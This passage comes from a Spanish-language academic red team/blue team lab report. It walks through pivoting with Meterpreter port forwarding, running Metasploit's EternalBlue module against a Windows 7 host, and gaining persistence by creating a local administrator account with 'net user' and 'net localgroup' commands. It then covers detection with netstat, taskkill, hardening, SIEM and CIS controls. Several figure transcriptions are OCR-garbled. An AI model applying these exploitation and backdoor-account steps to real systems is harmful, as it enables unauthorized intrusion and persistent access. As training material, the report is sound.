de manera automatica; puerto local es el puerto que va a permitir hacer el port forwarding en este
caso se escoge el puerto “5000”, por tltimo se establece la sesion activa de Meterpreter que es
“1”y se ejecuta el modulo.

En los resultados de ejecucion del mddulo de la figura 24, se puede ver una tabla de ruteo
de los puertos, esto de manera sencilla se traduce en que el puerto 5000 del Host-A va a estar
conectado el puerto 445 del Host-B.

Con esto queda configurado correctamente el port forwarding, lo siguiente es realizar la
explotacion del Host-B desde la maquina atacante, para esto se abre un terminal nuevo, y se abre
una sesion nueva de Metasploit, en Metasploit se busca “eternalblue” que es el exploit conocido
para atacar la vulnerabilidad del SMB como se evidencia en la figura 24.

Figura 25

Busqueda del exploit eternalblue

>> search eternalblue

)_eternalblue

Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion

Nota. La figura muestra los resultados de la busqueda del exploit
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Para este caso se usa el primer resultado para seleccionar el exploit podemos escribir el
comando “use 0” o “use exploit/windows/smb/ms17 010 eternalblue” una vez dentro del
modulo podemos ver las opciones de configuracion con el comando “options” como se observa
en la figura 26.

Figura 26

Uso del modulo eternalblue con las opciones de configuracion

Nota. En la figura se observan las opciones de configuracion del mddulo eternalblue.

Lo que sigue es configurar las opciones del modulo, en este caso nuestro host remoto o
RHOST sigue siendo el Host-A “192.168.20.32” con la diferencia de que el RPORT o puerto
remoto va a ser el puerto “5000” que fue el puerto asignado para el port forwarding, también
debemos configurar el puerto local o LPORT en este caso como el puerto 4444 ya esta siendo
usado por la sesion 1 de Meterpreter, debemos usar otro puerto, en este caso el puerto “5555”, y

ejecutamos el modulo con el comando “run” como se ve en la figura 27.
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Figura 27

Ejecucion del exploit eternalblue en Host-B

1) (C:\Windows\system32) > I

Nota. La figura muestra el resultado de la ejecucion del exploit eternalblue.

Como se puede ver en la figura 27 la explotacion del Host-B fue exitosa, se logré tener
una sesion de Meterpreter abierta y el Host esta listo para realizar la persistencia.
Persistencia en Host-B

Primero comprobamos que estamos dentro del Host-B con el comando “sysinfo” como se

puede observar en la figura 28.
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Figura 28

Comando sysinfo

1)(C: ‘\'.ﬂ‘iﬂdOWS‘\.s}IfStem32 I |
Nota. La figura muestra el resultado del comando sysinfo en Host-B
El Host-B tiene nombre de maquina PC202007 ahora comprobamos la direccion IP del
host como se evidencia en la figura 29.
Figura 29
Informacion de red en Host-B

1) (C:\Windows\system32) > ipconfig

rorio Intel(R) PRO

Nota. Informacién de los adaptadore de red del Host-B
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Podemos ver que la direccion IP del Host-B efectivamente es “192.168.2.5”, ahora
verificamos si tenemos privilegios administrativos con el comando “getuid” y “getsystem”
obteniendo el resultado que se puede ver en la figura 30.

Figura 30

Comando getuid

lindows\system32)

EM
ndows\system32) >

Nota. Informacion de privilegios del sistema.

En la figura 30 comprobamos que tenemos privilegios de administrador, por lo que
podemos efectuar la persistencia creando un usuario con privilegios administrativos, para esto se
escribe el comando “Shell” para abrir una consola de comandos de Windows donde vamos a
crear el usuario “juliancarvajal” con contrasena “1130624937” usando los comandos “net user
juliancarvajal 1130624937 /add” y

“net localgroup administradores juliancarvajal /add” como queda evidenciado en la figura

31.
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Figura 31

Ejecucion de la persistencia en Host-B

(C:\Windows\system32) > shell

Nota. Creacidn de usuario efimero en Host-B
Se ve claramente en la figura 31 que el usuario se cre6 correctamente, para finalizar
comprobamos en el Host-B la maquina Windows 7 que aparezca el usuario en la interfaz de

inicio de sesidon como se observa en la figura 32.
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Figura 32

Pantalla de inicio de sesion de Windows en Host-B

Archivo Maquina Ver Entrada Dispositivos Ayuda

Administrador

w. Windows 7 Professional

B OME & MEr™mS @ AT DRECHA

Nota. En la figura se pueden ver las cuentas disponibles en el Host-B
En la figura 32 se puede ver el usuario juliancarvajal en el Host-B, dando por concluido

el ejercicio con un resultado exitoso.



49

Procedimientos de Blue Team
Situacion problema: Analisis Blue team

SecureNova Labs solicita a sus integrantes de Blueteam contener y sacar adelante un
ataque informatico el cual se estd produciendo en tiempo real. La maquina que se debe analizar
es la Windows analizada en la actividad anterior. La organizacion requiere un analisis exhaustivo
de lo que esta sucediendo a nivel técnico “sistema operativo, red”, con la informacién
recolectada se espera que dentro de su grado de experticia usted como miembro de un equipo
Blue team logre contener el ataque para evitar que se genere mas dafio a nivel interno de la
organizacion. SecureNova Labs le informa que no existe presupuesto para hacer uso de
herramientas de pago, por ende, el experto en Ciberseguridad debera optar por una serie de
herramientas minimo con licencia GPL.

Descripcion del Escenario y Contexto del Incidente

El escenario nos plantea la situacion, en la que la organizacion SecureNova Labs enfrenta
un ataque informatico en tiempo real sobre un sistema operativo Windows, el cual forma parte de
su infraestructura tecnologica critica. El incidente se desarrolla en un entorno donde los servicios
expuestos y la configuracion del sistema presentan debilidades que pueden ser aprovechadas por
un atacante para obtener acceso no autorizado, comprometer informacion sensible o afectar la
disponibilidad de los recursos.

El ataque representa una amenaza directa a la confidencialidad, integridad y
disponibilidad de los sistemas de informacion, lo que obliga a una intervencion inmediata por
parte del equipo Blue Team. La deteccion del incidente se realiza mientras el ataque alin se
encuentra activo, lo que incrementa el nivel de riesgo y exige la aplicacion de acciones rapidas y

precisas para su contencion y mitigacion.
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Acciones iniciales ante un ataque en tiempo real

Ante la deteccion de un ataque en tiempo real, lo primero que se debe indagar es el
alcance inmediato del incidente y, en paralelo, ejecutar acciones de contencion inicial que
impidan la propagacion del ataque sin comprometer la evidencia digital. Segun la guia del
National Institute of Standards and Technology, la fase inicial de respuesta exige “contener el
incidente rapidamente para limitar dafnos adicionales, preservando la integridad de la
informacion necesaria para el andlisis forense” (Cichonski et al., 2012, p. 36). Técnicamente,
esto implica verificar qué sistemas estan comprometidos, identificar conexiones remotas activas
mediante herramientas como netstat o monitores de eventos, revisar procesos sospechosos en
ejecucion e inspeccionar los vectores de entrada explotados. Paralelamente, se debe aplicar
contencion a nivel de red bloqueando direcciones IP maliciosas, suspendiendo servicios
vulnerables o aislando el host comprometido, Una respuesta temprana puede reducir las
posibilidades de escalamiento, movimiento lateral o exfiltracion del atacante. Esta combinacion
de andlisis preliminar y contencion controlada permite al equipo de seguridad evitar la expansion
del ataque mientras se mantiene la evidencia necesaria para su investigacion posterior.

Lo primero que podemos hacer ante un ataque en curso es ver las conexiones activas de
la red para esto se puede usar el comando “netstat”; “netstat es una herramienta que proporciona
un conjunto de comandos que permitira saber qué esta pasando en nuestra red” (Alcalde, 2017).
Usando el comando acompafiado de las opciones -a (Muestra todas las conexiones activas y

puertos en escucha), -n (Muestra direcciones y puertos en formato numérico) -o (Incluye el PID

de cada conexién), podemos ver lo que pasa en nuestra red como se evidencia en la figura 33.
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Figura 33

Comando netstat -ano

C:xUzerssuszuariornetstat —ano
Conexiones activas

Proto Direccidn local i idn remota Eztado
TCP LISTEMIHG
TCP .a LISTEMIHG
TCP .a LISTEMIHG
TCP .A LISTEMIHG
TGP .8 LISTEMIHG
TCP .A LISTEMIHG
TGP .a LISTEMIHNG
TCP .g LISTEMIHG

.A

.A

.a

.A

.a

ICP LISTENIMNG
TCP LISTEMIMNG
TCP LISTENIMNG
TCP LISTENMIMNG
TCP LISTENMIMG
ICP LISTENIMG
TCP ?2.168. 2 6:137% LISTENMIMG
ICP 192.168.280.32:139 LISTENING
TCP 192.168.28.32:49169 B.30:4444 ESTABLISHED
ICP : LISTENIMNG
TCP LISTEMIMNG
TCP : LISTENIMNG
TCP LISTENMIMNG
TCP LISTENMIMG
ICP : LISTENIMG
TCP LISTENMIMG
ICP LISTENING
TCP LISTENMIMG
LISTENING
LISTEMIMNG
LISTENING

a
A
a
a
a
a
1]
a
A
a
A
a
a
1]
1

Nota. Resultado del comando netstat.

En la figura 33 se evidencia que hay varios puertos abiertos entre ellos el 8080 hfs y el
445 smb, también se observa que hay una conexion activa del Host-A con la maquina atacante
que es el Host con direccion IP “192.168.20.32”, el atacante esta escuchando por el puerto 4444
y el Host-A por el puerto 49169 este puerto es conocido por ser usado para RPD, por lo que se
puede inferir que hay una conexion remota activa identificada con el PID 2428, usando el

comando “taskkill” podemos terminar la conexiéon como se muestra en la figura 34.
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Figura 34

Matar el proceso

tslUzerssusuario*taskkill ~PID 2428 ~F

orrecto: se termind el proceso con PID 2428,

Nota. Resultado positivo, se termind el proceso

Revisamos de nuevo usando netstat para verificar que la conexion cerro y como podemos
ver en la figura 35, efectivamente la conexion se termind.
Figura 35

Comprobacion de red con netstat

sUzerssusuwariornetstat —ano
onexiones activas

dn remota Estado
LISTENING
LISTENIHG
LISTENIHG
LISTENIHG
LISTENIHG
LISTENIHG
LISTENIHG
LISTEMIHNG
LISTEMIHNG
LISTENIHNG
LISTENIHNG
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

[ e
L]
o

Proto
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TICP
TICP
TCP
TCP

FFAASERSARRERERREE
o QRN RRRERRERE
AR EREEREG
NN ED NN NN NN NN NN NN NN EG NN @@ @@ wmoww own £}
AR EEEE5EoDE DS E D -

Nota. Visualizacion de conexiones cerradas, en estado escuchando.

La conexion cerro, pero los puertos siguen abiertos por lo que debemos tomar medidas
inmediatamente para evitar que el atacante siga su ataque, lo mejor y mas recomendable es aislar
el equipo desconectandolo de la red, para realizar los procedimientos de hardenizacion

posteriores.



53

Medidas de hardenizacion para evitar la repeticion del ataque

Para mitigar y prevenir la repeticion del tipo de ataque recreado en el laboratorio
(exposicion de una aplicacion vulnerable HFS 2.3, pivoting y movimiento lateral via SMB,
explotacion tipo EternalBlue) propondria, al menos, las siguientes medidas agrupadas por
objetivo:

Gestion continua de vulnerabilidades y parches - Mantener un programa de parcheo y
remediacion que priorice vulnerabilidades explotables en servicios expuestos (p. ej. HTTP
servers y SMB). La gestion de vulnerabilidades reduce la exposicion a exploits conocidos y debe
incluir inventario de activos y comprobacion perioddica de parches.

Eliminar o aislar servicios innecesarios y aplicaciones vulnerable (ataque inicial - HFS) -
Retirar o actualizar cualquier servidor web o aplicacion expuesta que no sea imprescindible. En
entornos productivos, servicios publicos deben correr en hosts segregados con reglas de firewall
estrictas.

Deshabilitar SMBv1 y endurecer SMB - SMBv1 esta obsoleto y es fuente de
vulnerabilidades como EternalBlue; se debe deshabilitar y aplicar configuraciones seguras
(habilitar SMB signing donde sea posible, restringir SMB a subredes especificas y aplicar
ACLs).

Firewalling y segmentacion de red - Aplicar reglas de firewall que restrinjan el acceso a
puertos sensibles (445, 139, 3389, 80/8080) unicamente a origenes autorizados; segmentar la red
para evitar que un host comprometido actue como pivote hacia la LAN interna. La segmentacion

combinada con control de acceso reduce el movimiento lateral. (CIS Control 3 y Control 13).
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Eliminacion de port-forwarding/portproxy no autorizados - Revisar y eliminar entradas
de portproxy o redirecciones que el atacante pudo crear para exponer servicios internos.
Registrar y controlar cualquier NAT/port-forwarding en los hosts y en los gateways.

Gestion de cuentas y politicas de autenticacion - Aplicar politicas de contrasefias
robustas, deshabilitar cuentas por defecto o con contrasefias compartidas, forzar cambios
periodicos o mejor ain, usar autentificacion multifactor para accesos administrativos.

Eliminar privilegios locales innecesarios / principio de minimo privilegio - Limitar el uso
de cuentas con privilegios administrativos, separar cuentas de administracion y usuarios, y
auditar cambios en la pertenencia a grupos privilegiados.

Habilitar auditoria, registro y monitoreo (SIEM) - Asegurar que logs de seguridad,
eventos de procesos, creacion de cuentas y cambios en el registro estén centralizados y
monitorizados para detectar patrones de explotacién y movimiento lateral. Este es un
requerimiento para deteccidon temprana y respuesta.

Respuestas procedimentadas y pruebas regulares - Documentar playbooks de respuesta a
incidentes, ensayar la remediacion y realizar pentests y ejercicios de tabla roja/azul periddicos
para validar controles.

Diferencias entre Blue Team y Equipo de Respuesta a Incidentes

El equipo Blue Team y el equipo de respuesta a incidentes cumplen roles fundamentales
dentro de la estrategia de ciberseguridad de una organizacion; sin embargo, sus funciones,
enfoques y alcances presentan diferencias claras. El Blue Team tiene como objetivo principal la
defensa continua de los sistemas, centrandose en la prevencion, el monitoreo constante y la

deteccion temprana de amenazas. Sus actividades incluyen la configuracion segura de los
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sistemas, la implementacion de controles de seguridad, el anélisis de logs y la supervision del
trafico de red para identificar comportamientos anomalos.

Por su parte, el equipo de respuesta a incidentes actiia de manera reactiva y especializada
cuando un incidente de seguridad ya ha sido confirmado. Su funcién principal es gestionar el
incidente de forma estructurada, ejecutando procesos de contencidn, erradicacion y recuperacion,
asi como realizando analisis forense para determinar las causas del ataque y su impacto. Este
equipo suele activarse bajo procedimientos formales y sigue planes de respuesta previamente
definidos.

El Blue Team desempefia un rol clave al detectar el ataque en tiempo real y ejecutar las
primeras acciones de analisis y contencion, mientras que el equipo de respuesta a incidentes
complementa estas labores al profundizar en la investigacion del incidente y coordinar las
acciones necesarias para restablecer la normalidad del sistema afectado. De esta manera, ambos
equipos trabajan de forma coordinada, pero con responsabilidades diferenciadas.

Es decir, mientras el Blue Team mantiene una vigilancia constante y fortalece de manera
preventiva la postura de seguridad de la organizacion, el equipo de respuesta a incidentes se
enfoca en la gestion documental y técnica de los incidentes una vez que estos han ocurrido.

Uso del CIS (Center for Internet Security) en un Equipo Blue Team

Si como integrante de un equipo Blue Team me indican trabajar con el Center for Internet
Security (CIS), utilizaria sus recursos con el fin de establecer, implementar y auditar controles de
seguridad estandarizados, especialmente mediante el marco conocido como CIS Critical Security
Controls (CIS Controls). Estos controles proporcionan un conjunto priorizado de précticas
disefiadas para reducir la superficie de ataque y mejorar la postura de seguridad organizacional.

Segun CIS (2021), los controles “constituyen un conjunto de acciones recomendadas destinadas
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a mitigar los ataques mas comunes en Internet” (p. 3), lo que los convierte en una guia
fundamental para cualquier equipo de defensa.

En un contexto operativo, los CIS Controls permiten estructurar actividades de Blue
Team como la gestion de vulnerabilidades, configuracion segura de sistemas, monitoreo
continuo, control de privilegios, segmentacion de red y respuesta a incidentes, proporcionando
un marco verificable que puede ser auditado y medido. Ademas, CIS destaca que estos controles
estan disefiados para ser “priorizados, prescriptivos y medibles”, facilitando la implementacion
progresiva y el alineamiento con estandares internacionales de ciberseguridad (CIS, 2021).

Por estas razones, dentro de un equipo Blue Team utilizaria los recursos del CIS para
fortalecer politicas de seguridad, validar configuraciones, asegurar el cumplimiento, priorizar
acciones defensivas y fundamentar decisiones técnicas basadas en estdndares reconocidos
internacionalmente.

SIEM: Funciones y Caracteristicas Principales

Un SIEM (Security Information and Event Management) es una plataforma utilizada por
los equipos Blue Team para centralizar, correlacionar y analizar eventos de seguridad
provenientes de distintos sistemas dentro de la infraestructura tecnologica. De acuerdo con el
National Institute of Standards and Technology (NIST), las soluciones SIEM permiten “agregar,
normalizar y analizar datos de registro con el fin de apoyar la deteccion y respuesta ante
incidentes” (Kent & Souppaya, 2022, p. 17).

Funciones principales
Las funciones esenciales de un SIEM incluyen:
Recoleccion y centralizacion de logs: recopila registros de servidores, endpoints,

firewalls, sistemas de autenticacion y aplicaciones criticas para su andlisis unificado.
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Normalizacion y correlacion de eventos: transforma formatos heterogéneos en
informacion estandarizada y los correlaciona para identificar patrones de ataque. Finn & Downie
(2023) describen esta capacidad como esencial para “detectar actividades maliciosas que no
serian evidentes al observar cada evento de forma aislada”.

Deteccion de amenazas en tiempo real: genera alertas basadas en reglas, firmas,
comportamiento o inteligencia de amenazas (threat intelligence).

Analisis forense y trazabilidad: almacena registros historicos que permiten comprender la
secuencia de acciones del atacante, identificar el vector de entrada y determinar el impacto del
incidente.

Apoyo a la respuesta y contencion: muchos SIEM modernos integran funciones SOAR
(orquestacion y automatizacion) para ejecutar acciones automaticas, como bloquear IP malignas
o aislar endpoints.

Caracteristicas principales

Las caracteristicas mas importantes de un SIEM incluyen:

Visibilidad centralizada de la postura de seguridad de la organizacion.

Capacidad de manejar altos volimenes de datos provenientes de multiples fuentes.

Uso de inteligencia de amenazas para contextualizar eventos.

Automatizacion y reglas personalizables para deteccion avanzada.

Cumplimiento normativo, al permitir auditoria y retencion de logs segtn estandares (ISO
27001, NIST, GDPR, etc.).

En conjunto, estas funciones convierten al SIEM en una herramienta indispensable para
la deteccion oportuna de ataques, la reduccion del tiempo de respuesta y la mejora de la defensa

activa en las operaciones de ciberseguridad.
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Herramientas de Contencion de Ataques Informaticos
Cisco ASA Firewall

El Cisco Adaptive Security Appliance (ASA) es un firewall empresarial ampliamente
utilizado para contener ataques a nivel de red, controlando y bloqueando trafico no autorizado.
Cisco describe este dispositivo como una solucion que “proporciona control avanzado del trafico
y proteccion frente a amenazas” mediante filtrado, segmentacion y politicas de acceso (Cisco,
2024, parr. 1).

Funcion de contencion:

Bloquea puertos utilizados por exploits (ej. 445 en ataques SMB).

Restringe la comunicacion entre segmentos comprometidos.

Detiene trafico malicioso en tiempo real mediante reglas.
Fortinet FortiGate

FortiGate es un firewall UTM disenado para interrumpir ataques y limitar la propagacion
del adversario usando filtrado de trafico, control de aplicaciones y segmentacion. Fortinet afirma
que FortiGate permite “bloquear amenazas y detener movimientos laterales” aplicando politicas
estrictas de red (Fortinet, 2024, parr. 3).

Funcion de contencion:

Aislamiento segmentado de VLANS.

Bloqueos automaticos contra conexiones maliciosas.

Control granular de trafico entre zonas internas.
CrowdStrike Falcon Insight XDR

CrowdStrike Falcon es una plataforma de seguridad con capacidades avanzadas de

contencidn en endpoints, incluyendo el aislamiento del dispositivo. Segiin CrowdStrike, Falcon
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Insight permite “aislar maquinas comprometidas de la red para detener la actividad del atacante”
mientras se realiza la investigacion (CrowdStrike, 2024, parr. 5).

Funcion de contencion:

Aislar un equipo infectado del resto de la red.

Interrumpir procesos maliciosos en ejecucion.

Prevenir exfiltracion y movimiento lateral.
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Aspectos que aportan al desarrollo de estrategias de Red Team y Blue Team

El trabajo realizado en los distintos escenarios evidencia la necesidad de integrar
enfoques ofensivos y defensivos dentro de una estrategia de seguridad corporativa madura.

Desde la perspectiva Red Team, el analisis permitié identificar las rutas de explotacion
mas probables, evaluar la efectividad de los vectores de entrada, validar la factibilidad del
movimiento lateral y demostrar como un atacante con habilidades técnicas puede comprometer
los sistemas internos si existen vulnerabilidades criticas sin corregir. Estos hallazgos
proporcionan informacion valiosa para priorizar controles, optimizar los procesos de gestion de
vulnerabilidades y refinar los modelos de amenazas internos.

Por otra parte, el componente Blue Team aportd una vision operativa de la deteccion
temprana, la respuesta ante incidentes y la contencion técnica en tiempo real. El ejercicio
permitid fortalecer la capacidad de monitoreo, mejorar la interpretacion de evidencias, aplicar
metodologias efectivas de triage, y validar la importancia de politicas de hardenizacion
orientadas al cierre de brechas identificadas en el ejercicio ofensivo. En conjunto, estos
elementos contribuyen a la construccion de estrategias coordinadas que integran prevencion,

deteccion, respuesta y recuperacion, asegurando un ciclo de seguridad continuo y adaptable.



https://youtu.be/-jR4abfOZ41

Video sustentacion
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Conclusiones

El proceso desarrollado a lo largo de las etapas demostro que la seguridad de la
informacion debe abordarse de manera integral, combinando capacidades técnicas ofensivas y
defensivas con un entendimiento claro del marco regulatorio aplicable. Desde el Red Team, se
verificd que las vulnerabilidades no gestionadas y las configuraciones débiles contintian siendo
vectores efectivos de intrusion, evidenciando la importancia de evaluar la infraestructura desde la
perspectiva del adversario. Desde el Blue Team, se comprobo que la deteccion temprana, la
contencion y la recoleccion de evidencias son elementos criticos que determinan la capacidad de
la organizacion para limitar el impacto de un incidente y asegurar la continuidad operativa.

El andlisis juridico complement6 este proceso al resaltar la necesidad de mantener la
integridad de la evidencia digital, asegurar la trazabilidad de las acciones y cumplir con los
parametros normativos en materia de ciberseguridad y proteccion de datos. La integracion de
estas tres perspectivas permitié6 comprender el ciclo de vida completo del incidente, generar
aprendizajes significativos y fortalecer la vision estratégica requerida para la toma de decisiones
en entornos complejos.

El ejercicio permitio consolidar conocimientos practicos y tedricos esenciales para el
ejercicio profesional en ciberseguridad, reforzando la importancia del trabajo interdisciplinario,
la evaluacion continua de riesgos, la aplicacion de controles robustos y la capacidad de respuesta
oportuna ante amenazas emergentes. Este enfoque integral representa la base para construir una

postura de seguridad solida y resiliente en organizaciones como SecureNova Labs.
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Recomendaciones

El analisis integral del incidente permite establecer varias recomendaciones orientadas al
fortalecimiento de la postura de seguridad en entornos corporativos:

Adoptar un modelo de gestion de vulnerabilidades basado en riesgo, priorizando la
remediacion de fallas criticas, la actualizacion continua de sistemas y la eliminacion de servicios
obsoletos susceptibles a explotacion.

Implementar mecanismos de segmentacion y control de red, limitando el movimiento
lateral mediante VLANS, firewalls internos y reglas de acceso basadas en el principio de minimo
privilegio.

Fortalecer la defensa en los endpoints, mediante soluciones EDR/XDR con capacidad de
contencidn, politicas estrictas de control de cuentas y auditoria continua de actividades
administrativas.

Establecer un marco de respuesta a incidentes formal, alineado con NIST SP 800-61, que
integre procedimientos de identificacion, contencion, erradicacion y recuperacion, acompafiado
de roles claramente definidos y mecanismos de documentacion estructurada.

Integrar herramientas SIEM para consolidar eventos de seguridad, facilitar la correlacion
en tiempo real y soportar los procesos de investigacion y analisis forense.

Desarrollar ejercicios recurrentes de Red Team y Blue Team, incluyendo pruebas de
intrusion, simulaciones de ataque, andlisis de impacto y ejercicios de mesa (tabletop exercises)
que permitan validar la efectividad de los controles y la capacidad de reaccion del personal.

Mantener el cumplimiento normativo, incorporando procedimientos de cadena de
custodia, politicas de manejo de evidencia y mecanismos de proteccion de datos personales que

garanticen el alineamiento entre acciones técnicas y requerimientos legales.



Estas recomendaciones son esenciales para construir una arquitectura de seguridad
robusta, coherente con las necesidades de organizaciones que operan en entornos de riesgo

elevado.
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